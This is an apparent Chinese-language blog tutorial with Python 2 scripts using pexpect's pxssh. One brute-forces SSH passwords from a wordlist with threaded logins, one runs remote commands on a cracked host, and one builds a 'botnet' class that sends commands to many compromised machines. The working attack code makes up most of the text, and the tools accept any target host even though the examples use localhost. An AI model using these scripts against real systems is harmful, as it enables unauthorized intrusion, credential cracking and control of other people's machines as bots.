Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)
目录
环境:Kali Linux python 2.7.13
暴力破解SSH口令
Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 login()、logout() 和 prompt() 等函数直接与SSH进行交互 。对于login()函数,如果执行成功则不会抛出异常,将显示消息表示密码已经找到并把表示密码已找到的全局布尔值设置为true,如果异常显示密码被拒绝则返回即可,如果异常显示socket为 "read_nonblocking" 则可能是SSH服务器被大量的连接刷爆了,可以过会儿再试,如果异常显示pxssh命令提示符提取困难也应该过会儿再试一次。
# -*- coding: utf-8 -*-
"""
Created on Sat Nov 3 22:01:51 2018
@author: 小谢
"""
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnection=5 #设置最大连接数
connection_lock=BoundedSemaphore(value=maxConnection)
global Found #密码全局布尔值
Found=False
global Fails #失败的次数
Fails=0
def connect(host,user,password,release):
try:
s=pxssh.pxssh() #实例化
s.login(host,user,password) #登录
print '[+] Password Found:'+password #如果不抛出异常,说明密码正确
Found=True
except Exception,e:
if 'read_nonblocking' in str(e): #主机被大量的SSH连接刷爆了
Fails+=1
time.sleep(5)
connect(host,user,password,False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host,user,password,False)
finally:
if release:
connection_lock.release() #解锁线程
def main():
parser=optparse.OptionParser('usage %prog '+'-H <target host> -u <user> -F <password list>')
parser.add_option('-H',dest='Host',type='string',help='target host')
parser.add_option('-F',dest='passwdFile',type='string',help='password file')
parser.add_option('-u',dest='user',type='string',help='the user')
(options,args)=parser.parse_args()
host=options.Host
passwdFile=options.passwdFile
user=options.user
if host==None or passwdFile==None or user==None:
print(parser.usage)
exit(0)
fn=open(passwdFile,'r') #打开密码文件
lines=fn.readlines()
for line in lines:
if Found:
print("[*] Exiting: Password Found")
exit(0)
if Fails>5:
print("[!] Exiting: Too Many Socket Timeouts")
exit(0)
connection_lock.acquire() #锁定线程
password=line.strip("\n")
print("[-] Testing:"+str(password))
t=Thread(target=connect,args=(host,user,password,True)) #开启密码爆破线程
t.start() #启动线程
if __name__=='__main__':
main()

但是这个脚本有一个bug就是,你第一次爆破主机如果有正确密码则会爆出出来,第二次爆破的话就算是有正确密码也不会爆破出来。(自己主机没有这种bug,爆破其他主机会出现这种bug)
SSH远端执行命令
当我们破解了SSH的口令之后,我们就可以运行命令了。
# -*- coding: utf-8 -*-
"""
Created on Sat Nov 3 23:37:11 2018
@author: 小谢
"""
from pexpect import pxssh
def send_command(s,cmd):
s.sendline(cmd) #发送命令给主机
s.prompt() #匹配cmd执行后的下一步操作的命令提示符
print s.before #输出命令提示符之前的内容
def connect(host,user,password):
try:
s=pxssh.pxssh()
s.login(host,user,password) #登录
return s #返回登录的session
except:
print '[-] Error Connecting' #登录失败
exit(0)
s=connect('127.0.0.1','root','toor')
send_command(s,'uname -r')

这个脚本也是有这种bug,第一次可以正确执行命令,第二次就算用户名密码正确,也显示Error Connecting。 (自己主机没有这种bug,爆破其他主机会出现这种bug)
构建僵尸网络
既然可以控制一台,那么就可以控制多台,从而可以构建僵尸网络了!
我们创建了一个Client()类,为了构造client对象,需要主机名,用户名以及密码。同时,这个类还要包含维持与肉鸡连接所需的方法:connect() 、send_command() 。Botnet全局数组记录了单个client对象,addClient()方法的输入是主机名,用户和密码并以此实例化一个client对象并将它添加到botnet数组中。botnetCommand()函数只要一个参数即要发布的命令,这函数遍历整个数组,把命令发送到botnet数组中的每个client上。
# -*- coding: utf-8 -*-
"""
Created on Fri Nov 2 22:41:45 2018
@author: 小谢
"""
from pexpect import pxssh
class Client:
def __init__(self,host,user,password): #初始化对象
self.host=host
self.user=user
self.password=password
self.session=self.connect()
def connect(self): #ssh连接
try:
s=pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception,e:
print e
print '[-] Error Connecting'
def send_command(self,cmd): #发送命令
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output=client.send_command(command)
print '[*] Output from '+ client.host
print '[+] '+output
def addClient(host,user,password):
client=Client(host,user,password) #实例化对象
botNet.append(client)
botNet=[]
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
botnetCommand("uname -a")

Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)的更多相关文章
- Python脚本暴力破解FTP口令(ftplib)
目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...
- [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码
家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 ...
- centos 7 DenyHosts 安装 防暴力破解ssh登陆
为了减少软件扫描ssh登陆 还是用这个比较好点 默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python prog ...
- 10小时之内,暴力破解SSH账号的IP
10小时之内,暴力破解SSH账号的IP,IP 地址数据来源于 ip138.com 182.18.76.246 北京市昌平区 北京亿安天下网络科技有限公司 联通 221.223.200.143 北京市 ...
- 使用Medusa美杜莎暴力破解SSH密码
使用Medusa美杜莎暴力破解SSH密码 1.Medusa简介 Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的爆力破解工具.可以同时对多个主机,用户或密码执行强力测试.Medusa和hy ...
- Linux 利用hosts.deny 防止暴力破解ssh
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
- Linux 利用hosts.deny 防止暴力破解ssh(转)
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
- XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解
XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...
- Python脚本自动化破解大白鲨摄像头(Shodan)
关于本文的技术知识点,Shodan模块的用法,传送门--> Python中shadon模块的使用 Shodan的使用 今天我们要利用python进行自动化破解的摄像头叫大白鲨摄像头,他的 ...
随机推荐
- InterJ idea 回滚提交的代码
如果你要回滚到这一次提交 ctrl shift k 提交 选force push 那么你的代码就回滚到你所想要的这次提交记录了
- [virtualenv][python] 环境管理——对 virtualenv 更轻便的封装
virtualenv_simple_wrapper 如有错误,欢迎指出 Char-z 项目地址 gitee: virtualenv_simple_wrapper 使用说明 下载文件 virtualen ...
- [WC2014]时空穿梭
这才叫莫比乌斯反演题. 一.题目 点此看题 二.解法 也没有什么好的思路,我们不妨把暴力柿子写出来,我们想枚举直线,但是这道题不能枚举直线的斜率,所以就要用整数来表示直线,我们不妨枚举出发点和终止点的 ...
- go调用python命令行参数过量报错python.exe: The filename or extension is too long.的解决方法
当我们在调用python时,如果传入的参数数据量过大时会报错 python.exe: The filename or extension is too long. 这时候我们的解决办法是放弃传参,将想 ...
- python的类的实际联系--烤地瓜和搬家具
#coding:utf-8 2 class SweetPotato(): 3 def __init__(self): 4 #先初始化对象 5 self.cook_time = 0 6 self.coo ...
- Java开发工程师面试-Web基础与数据处理
Servlet执行流程 客户端浏览器向Tomcat服务器发送Http请求 Tomcat解析web.xml文件,找到对应的url以及servlet-name,根据servlet-name找到对应的ser ...
- C语言const是如何保证变量不被修改的?
这小段文章要理清楚的是,在C语言中,$const$是如何保证变量不被修改的? 我们可以想到两种方式: 第一种,由编译器来阻止修改$const$变量的语句,让这种程序不能通过编译: 第二种,由操作系统来 ...
- 201871030118-雷云云 实验三 结对项目—《D{0-1}KP 实例数据集算法实验平台》项目报告
项目 内容 课程班级博客 班级链接 这个作业要求链接 作业链接 我的课程学习目标 (1)体验软件项目开发中的两人合作,练习结对编程(2)掌握Github协作开发程序的操作方法(3)学习遗传算法 这个作 ...
- C#补位函数PadLeft和PadRight
左边补位 PadLeft 用法: string str = "100"; str.PadLeft(5,'0') 输出:00100 右边补位 PadRight 用法: str.Pad ...
- 结对作业-stage_1
教学班 罗杰.任建班周五3.4节 gitlab项目地址 Here it is. 成员 周远航(3004) 李辰洋(3477) 结对编程体验 感受 在前期设计时,两人合作可以收集更多资料,提供更多想法, ...